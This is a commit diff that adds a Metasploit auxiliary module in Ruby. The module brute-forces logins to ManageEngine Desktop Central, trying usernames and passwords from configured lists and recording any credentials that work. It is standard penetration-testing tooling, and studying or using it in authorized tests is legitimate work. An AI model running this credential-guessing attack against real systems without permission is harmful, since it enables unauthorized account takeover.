|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'metasploit/framework/login_scanner/manageengine_desktop_central' |
| 8 | +require 'metasploit/framework/credential_collection' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::AuthBrute |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Auxiliary::Scanner |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'ManageEngine Desktop Central Login Utility', |
| 20 | + 'Description' => %q{ |
| 21 | + This module will attempt to authenticate to a ManageEngine Desktop Central. |
| 22 | + }, |
| 23 | + 'Author' => [ 'sinn3r' ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'DefaultOptions' => { 'RPORT' => 8020} |
| 26 | + )) |
| 27 | + end |
| 28 | + |
| 29 | + |
| 30 | + # Initializes CredentialCollection and ManageEngineDesktopCentral |
| 31 | + def init(ip) |
| 32 | + @cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 33 | + blank_passwords: datastore['BLANK_PASSWORDS'], |
| 34 | + pass_file: datastore['PASS_FILE'], |
| 35 | + password: datastore['PASSWORD'], |
| 36 | + user_file: datastore['USER_FILE'], |
| 37 | + userpass_file: datastore['USERPASS_FILE'], |
| 38 | + username: datastore['USERNAME'], |
| 39 | + user_as_pass: datastore['USER_AS_PASS'] |
| 40 | + ) |
| 41 | + |
| 42 | + @scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new( |
| 43 | + configure_http_login_scanner( |
| 44 | + host: ip, |
| 45 | + port: datastore['RPORT'], |
| 46 | + cred_details: @cred_collection, |
| 47 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 48 | + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], |
| 49 | + connection_timeout: 5 |
| 50 | + ) |
| 51 | + ) |
| 52 | + end |
| 53 | + |
| 54 | + |
| 55 | + # Reports a good login credential |
| 56 | + def do_report(ip, port, result) |
| 57 | + service_data = { |
| 58 | + address: ip, |
| 59 | + port: port, |
| 60 | + service_name: 'http', |
| 61 | + protocol: 'tcp', |
| 62 | + workspace_id: myworkspace_id |
| 63 | + } |
| 64 | + |
| 65 | + credential_data = { |
| 66 | + module_fullname: self.fullname, |
| 67 | + origin_type: :service, |
| 68 | + private_data: result.credential.private, |
| 69 | + private_type: :password, |
| 70 | + username: result.credential.public, |
| 71 | + }.merge(service_data) |
| 72 | + |
| 73 | + login_data = { |
| 74 | + core: create_credential(credential_data), |
| 75 | + last_attempted_at: DateTime.now, |
| 76 | + status: result.status, |
| 77 | + proof: result.proof |
| 78 | + }.merge(service_data) |
| 79 | + |
| 80 | + create_credential_login(login_data) |
| 81 | + end |
| 82 | + |
| 83 | + |
| 84 | + # Attempts to login |
| 85 | + def bruteforce(ip) |
| 86 | + @scanner.scan! do |result| |
| 87 | + case result.status |
| 88 | + when Metasploit::Model::Login::Status::SUCCESSFUL |
| 89 | + print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'") |
| 90 | + do_report(ip, rport, result) |
| 91 | + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT |
| 92 | + vprint_brute(:level => :verror, :ip => ip, :msg => result.proof) |
| 93 | + invalidate_login( |
| 94 | + address: ip, |
| 95 | + port: rport, |
| 96 | + protocol: 'tcp', |
| 97 | + public: result.credential.public, |
| 98 | + private: result.credential.private, |
| 99 | + realm_key: result.credential.realm_key, |
| 100 | + realm_value: result.credential.realm, |
| 101 | + status: result.status, |
| 102 | + proof: result.proof |
| 103 | + ) |
| 104 | + when Metasploit::Model::Login::Status::INCORRECT |
| 105 | + vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'") |
| 106 | + invalidate_login( |
| 107 | + address: ip, |
| 108 | + port: rport, |
| 109 | + protocol: 'tcp', |
| 110 | + public: result.credential.public, |
| 111 | + private: result.credential.private, |
| 112 | + realm_key: result.credential.realm_key, |
| 113 | + realm_value: result.credential.realm, |
| 114 | + status: result.status, |
| 115 | + proof: result.proof |
| 116 | + ) |
| 117 | + end |
| 118 | + end |
| 119 | + end |
| 120 | + |
| 121 | + |
| 122 | + # Start here |
| 123 | + def run_host(ip) |
| 124 | + init(ip) |
| 125 | + unless @scanner.check_setup |
| 126 | + print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central') |
| 127 | + return |
| 128 | + end |
| 129 | + |
| 130 | + bruteforce(ip) |
| 131 | + end |
| 132 | + |
| 133 | +end |
0 commit comments